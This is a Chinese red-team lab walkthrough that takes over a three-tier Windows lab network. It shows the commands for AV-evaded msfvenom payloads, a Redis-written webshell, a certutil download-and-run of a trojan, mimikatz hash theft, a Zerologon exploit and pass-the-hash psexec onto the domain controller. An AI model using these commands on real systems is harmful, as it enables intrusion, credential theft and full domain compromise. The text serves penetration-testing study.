红队攻防实战系列一之metasploit

news2025/4/17 7:48:13

百目无她,百书质华,君当醒悟,建我中华

本文首发于先知社区,原创作者即是本人

前言

在红队攻防中,我们主要在外网进行信息收集,通过cms或者其他漏洞拿到shell,之后通过免杀木马将windows或linux服务器上线到cobalt strike或msf等c2服务器,之后对内网进行信息收集并绘制网络拓扑图,进行工作组或域渗透,拿到各个网段机器的权限,远程登陆并截图证明。

环境配置

从虚拟机网络来看

在这里插入图片描述

机器描述

攻击机:
win10:192.168.1.6
kali:192.168.1.10

第一层:12server-bt:
192.168.1.5
192.168.59.133

第二层:12server-redis:
192.168.59.4
10.10.10.202

第三层:
12server-ex13:
10.10.10.209

第三层:
12server-dc:
10.10.10.201

192.168.59.133 存在杀软(火绒), 可通外网, 可访问server-redis
192.168.59.4/10.10.10.202 不通外网,可以通内网两个机器,也可以访问到机器server-bt,
10.10.10.209 为邮服, 只能内网机器互相访问
10.10.10.201 为 DC

目录如下

在这里插入图片描述

第一层 server-bt

蚁剑拿shell

此部分参考本人发表的上一上一篇文章《红队攻防实战系列一之Cobalt Strike》
文章链接:

红队攻防实战系列一之Cobalt Strike

红队攻防实战系列一之Cobalt Strike

在这里插入图片描述

msf免杀拿shell

使用msfvenom生成免杀木马payload,里面的IP和端口自行修改,就是反弹shell的kali

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin

在这里插入图片描述

使用分离免杀工具生成loader.exe文件

在这里插入图片描述

对生成的exe文件进行加壳免杀

在这里插入图片描述

免杀效果如下

在这里插入图片描述

免杀之后通过蚁剑上传到server-bt上

在这里插入图片描述

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set lport 6666
run

在这里插入图片描述

蚁剑运行

在这里插入图片描述

getuid

在这里插入图片描述

ps

在这里插入图片描述

migrate 476

在这里插入图片描述

msf内网渗透

load mimikatz # 加载Mimikatz模块

在这里插入图片描述

抓取Hash
meterpreter > mimikatz_command -f samdump::hashes

在这里插入图片描述

hashdump

在这里插入图片描述

然后抓到了 hash:
通过解密得到了 administrator 的密码
route print # 打印路由信息

在这里插入图片描述

对内网进行扫描 arp 存活
run post/windows/gather/arp_scanner rhosts=192.168.59.0/24

在这里插入图片描述

配置路由
meterpreter > run autoroute -s 192.168.59.0/24

在这里插入图片描述

开启远程桌面
run post/windows/manage/enable_rdp

成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令
run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt

在这里插入图片描述

绕过火绒添加用户
蚂蚁剑或者cs上传添加用户.exe

在这里插入图片描述

运行文件

在这里插入图片描述

帐号:hxxxr 密码:Pxxxxd
远程登录server-bt

在这里插入图片描述

权限提升

使用psexec.exe可以提升到system权限
psexec.exe -accepteula -s -i -d cmd.exe

在这里插入图片描述

但是桌面还是之前用户的权限启动的

在这里插入图片描述

为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器

在这里插入图片描述

在任务管理器里面我们结束掉之前由之前账号开启的桌面进程

在这里插入图片描述

然后再添加一个由system权限下开启的桌面进程

在这里插入图片描述

再点入看现在登入的账号是

在这里插入图片描述

第二层 server-redis

Earthworm穿透

上传EW(Earthworm)到C:/wwwroot/

在这里插入图片描述

服务器端执行以下命令
execute C:\wwwroot\ew.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090

在这里插入图片描述

探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 192.168.59.0/24

在这里插入图片描述

192.168.59.4是存活的,我们着重看一下,发现开了80和6379

Redis-getshell

kali环境进行爆破
proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379

在这里插入图片描述

得到Redis口令:
连接redis
proxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx

在这里插入图片描述

备份文件写Shell

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell
192.168.59.4:6379>save                                    最后保存

利用过程

在这里插入图片描述

代理蚁剑进行连接这个shell

在这里插入图片描述

成功连接到server-redis

在这里插入图片描述

并查看权限

在这里插入图片描述

利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下

在这里插入图片描述

成功进行提权

在这里插入图片描述

msf正向免杀木马拿到shell

Earthworm穿透
挂代理,通过之前上传的EW(Earthworm)

在这里插入图片描述

服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090

在这里插入图片描述

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin

用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。

在这里插入图片描述

使用分离免杀工具生成loader.exe文件

在这里插入图片描述

改名为msf1.exe,进行加壳免杀

在这里插入图片描述

免杀效果如下

在这里插入图片描述

先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警

在这里插入图片描述

通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马

C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe

在这里插入图片描述

再通过提权工具进行执行
C:\ProgramData\xxxx.exe -i -c “msf1.exe”

在这里插入图片描述

也可以直接将木马上传到server-redis的C:/Redis/可写目录下就不需要免杀了
msf通过代理开启监听

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.59.4
set lport 4444
run

在这里插入图片描述

成功获取服务器的shell,之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。

在这里插入图片描述

ps

在这里插入图片描述

migrate 3992
getuid
getsystem
getuid

在这里插入图片描述

添加账户和远程连接同第一层

msf内网渗透

load mimikatz # 加载Mimikatz模块

在这里插入图片描述

抓取Hash
meterpreter > mimikatz_command -f samdump::hashes

在这里插入图片描述

hashdump

在这里插入图片描述

得到12SERVER-REDIS账号密码:

在这里插入图片描述

route print # 打印路由信息

在这里插入图片描述

配置路由
meterpreter > run autoroute -s 10.10.10.0/24

在这里插入图片描述

run autoroute -p

在这里插入图片描述

通过蚂蚁剑将nbtscan.exe上传到server-redis的Redis可读写目录下

在这里插入图片描述

探测内网段存活
nbtscan.exe 10.10.10.0/24

在这里插入图片描述

ipconfig /all
10.10.10.0/24段的DNS服务器是10.10.10.201 而在域环境中DNS服务器就是当前使用的域控制器

在这里插入图片描述

添加完路由后可以通过msf访问所有机器,访问域控
proxychains curl 10.10.10.201

在这里插入图片描述

第三层 server-dc

zerologon(CVE-2020-1472)漏洞复现

这里已经满足触发zerologon的两个条件,能ping通域控制器,知道域控计算机名,当然最后dump出域内所有hash的时候需要域名
置空域控机器用户NTLM hash
proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201

在这里插入图片描述

接下来用置空的机器账户dump所有hash

proxychains secretsdump.py -hashes :31d6cfxxxxxxx089c0 'xxxxx.xx/12server-dc$@10.10.10.201'

(890c这个hash就是"空"的NTML hash)

在这里插入图片描述

我们的目标是获得域内administrator的hash,然后就可以hash传递,登陆任意域内机器
proxychains wmiexec.py -hashes :42e265xxxxxx62387 administrator@10.10.10.201

在这里插入图片描述

利用 psexec(PTH)上线server-dc到 MSF:

proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.201
set SMBUser Administrator
set SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387
set SMBDomain xxxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set  LPORT 4446 
run

在这里插入图片描述成功获取到shell

在这里插入图片描述

利用 psexec 上线server-ex13到 MSF:

proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.209
set SMBUser Administrator
set SMBPass aad3bxxxxxxxee:42exxxxxxx387
set SMBDomain xxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set  LPORT 4447 
run

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1253811.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【通讯协议】gRPC和Webhook

RPC&#xff08;Remote procedure Call&#xff09;之所以被称为“远程”&#xff0c;是因为在微服务架构下&#xff0c;当服务部署到不同的服务器上时&#xff0c;它可以实现远程服务之间的通信。从用户的角度来看&#xff0c;它的作用就像本地函数调用。 下图说明了gRPC的整…

java io 流,输入流和输出流;节点流和处理流;字节流和字符流

文章目录 java 中 IO 流分为几种?按照流的流向分&#xff0c;可以分为输入流和输出流&#xff1b;按照流的角色划分为节点流和处理流。IO流主要的分类方式有以下3种&#xff1a; java中的IO流也是工作中使用到比较频繁的一个内容&#xff0c;今天以这篇文章来了解它的概念和整…

第十七章 解读PyTorch断点训练(工具)

主要有以下几方面的内容&#xff1a; 对于多步长训练需要保存lr_schedule初始化随机数种子保存每一代最好的结果 简单详细介绍 最近在尝试用CIFAR10训练分类问题的时候&#xff0c;由于数据集体量比较大&#xff0c;训练的过程中时间比较长&#xff0c;有时候想给停下来&…

下一代图片压缩格式 AVIF

长期以来我们都在为了在网络上使用什么样的图片格式而进行纠结。我们所熟知的或者运用到 Web 应用中的图片格式无非就是 PNG、JPG、GIF、SVG 或者 WebP。 HEIC是一种图像格式&#xff0c;上线时间还比较短&#xff0c;只有4年左右。 自iOS 11和 macOS High Sierra&#xff08…

基于 Gin 的 HTTPS 代理 Demo

上次写了 基于 Gin 的 HTTP 代理 Demo 之后&#xff0c;对这方面还是蛮感兴趣的&#xff0c;所以就接着继续走下去。为了这个主题的内容&#xff0c;我斥巨资购入了一本二手的 《HTTP 权威指南》&#xff0c;因为我知道这本书里面有我想要的知识。在我还在大学的时候&#xff0…

Kerberos 高可用配置和验证

参考 https://cloud.tencent.com/developer/article/1078314 https://mp.weixin.qq.com/s?__bizMzI4OTY3MTUyNg&mid2247485861&idx1&snbb930a497f63ac5e63ed20c64643eec5 机器准备 Kerberos主 ip-172-31-22-86.ap-southeast-1.compute.internal 7.common2.hado…

美国季节性干旱数据集

美国季节性干旱数据集 美国干旱展望栅格数据集由国家气象局气候预测中心生成。它在每个月的最后一天发布&#xff0c;提供下个月的干旱前景信息。“美国季节性干旱展望”数据集每月发布一次&#xff0c;特别是每月的第三个星期四。该数据集对美国不同地区发生干旱的可能性进行…

Linux加强篇005-用户身份与文件权限

目录 前言 1. 用户身份与能力 2. 文件权限与归属 3. 文件的特殊权限 4. 文件的隐藏属性 5. 文件访问控制列表 6. su命令与sudo服务 前言 悟已往之不谏&#xff0c;知来者之可追。实迷途其未远&#xff0c;觉今是而昨非。舟遥遥以轻飏&#xff0c;风飘飘而吹衣。问征夫以…

AIGC创作系统ChatGPT网站源码、支持最新GPT-4-Turbo模型、GPT-4图片对话能力+搭建部署教程

一、AI创作系统 SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI…

居家适老化设计第三十一条---卫生间水龙头

以上产品图片均来源于淘宝 侵权联系删除 居家适老化中&#xff0c;水龙头是一个非常重要的设备。水龙头的选择应该考虑到老年人的特点和需求。首先&#xff0c;水龙头的操作应该简单方便&#xff0c;老年人手部灵活性可能不如年轻人&#xff0c;因此水龙头应该设计成易于转动和…

计算机网络常考计算题之循环冗余校验(宝典教学)

文章目录 奇偶效验循环冗余校验例题四步走另一种题型 本文讲述了计算机考研中易出现的循环冗余校验&#xff0c;点赞关注收藏不迷路哦 我是一名双非计算机本科生&#xff0c;希望我的文章可以帮助到你。 奇偶效验 奇偶校验&#xff1a;也可以检测数据在传输过程中是否出现错误…

Ceph----RBD块存储的使用:详细实践过程实战版

RBD 方式的 工作 流程&#xff1a; 1、客户端创建一个pool&#xff0c;并指定pg数量&#xff0c;创建 rbd 设备并map 到文件系统&#xff1b; 2、用户写入数据&#xff0c;ceph进行对数据切块&#xff0c;每个块的大小默认为 4M&#xff0c;每个 块名字是 object序号&#xff…

【UnLua】在 Lua 中定义 UE 反射类型

【UnLua】在 Lua 中定义 UE 反射类型 用法 启动编辑器时遍历 Defines 目录下 lua 脚本来加载 UE 反射类型&#xff08;开个临时的 Lua VM 即可&#xff09;直接像 -- define a uenum in lua UEnum.EEnumGuestSomethingElse {Value1 1;Value2 2; }-- use it like a native …

算法基础之单链表

单链表 核心思想&#xff1a; 用数组模拟链表(new节点非常慢 用数组模拟快) e[N] 表示节点value ne[N]表示next指针指向 (空节点为-1) #include<iostream>using namespace std;const int N100010;//head头结点的指针//e[N] 表示节点value ne[N]表示next指针指向 //idx…

聚簇索引和非聚簇索引的区别;什么是回表

聚簇索引和非聚簇索引的区别 什么是聚簇索引&#xff1f;&#xff08;重点&#xff09; 聚簇索引就是将数据(一行一行的数据)跟索引结构放到一块&#xff0c;InnoDB存储引擎使用的就是聚簇索引&#xff1b; 注意点&#xff1a; 1、InnoDB使用的是聚簇索引&#xff08;聚簇索…

学习.NET验证模块FluentValidation的基本用法(续2:其它常见用法)

FluentValidation模块支持调用When和Unless函数设置验证规则的执行条件&#xff0c;其中when函数设置的是满足条件时执行&#xff0c;而Unless函数则是满足条件时不执行&#xff0c;这两个函数的使用示例如及效果如下所示&#xff1a; public AppInfoalidator() {RuleFor(x>…

CodeTON Round 7(D、E)

D - Ones and Twos 题意&#xff1a;给你一个长度为 n 的 数组 a &#xff0c;其中每个元素都是 1 或 2。请处理以下两种类型的询问 "1 s"&#xff1a;检查是否存在 a的子数组 &#xff0c;其总和等于 s。 "2 i v"&#xff1a;将 ai改为v。 如果数组 …

MySQL性能优化,SQL调优,SQL调优的手段

文章目录 对MySQL性能的优化的理解硬件和操作系统层面的优化架构设计层面的优化MySQL程序配置优化SQL优化 SQL调优有哪几种方式1.EXPLAIN2.SQL语句中IN包含的值不应过多3.SELECT语句务必指明字段名称4.当只需要一条数据的时候&#xff0c;使用limit 15.如果排序字段没有用到索引…

(附源码)SSM环卫人员管理平台 计算机毕设36412

目 录 摘要 1 绪论 1.1背景及意义 1.2国内外研究概况 1.3研究内容 1.4 ssm框架介绍 1.5论文结构与章节安排 2 环卫人员管理平台系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1数据增加流程 2.2.2数据修改流程 2.2.3数据删除流程 2.3 系统功能分析 2.3.1 功能性…

面对困境时的力量——《难不难》与歌手荆涛的坚持

歌手荆涛演唱的《难不难》不仅是一首歌曲&#xff0c;更是一种精神的呈现。它告诉我们&#xff0c;面对问题时&#xff0c;只要我们坚持并勇往直前&#xff0c;一切困难都会变得简单。无论前方有多少险阻&#xff0c;总有过去的那一天&#xff0c;只要我们不放弃&#xff0c;就…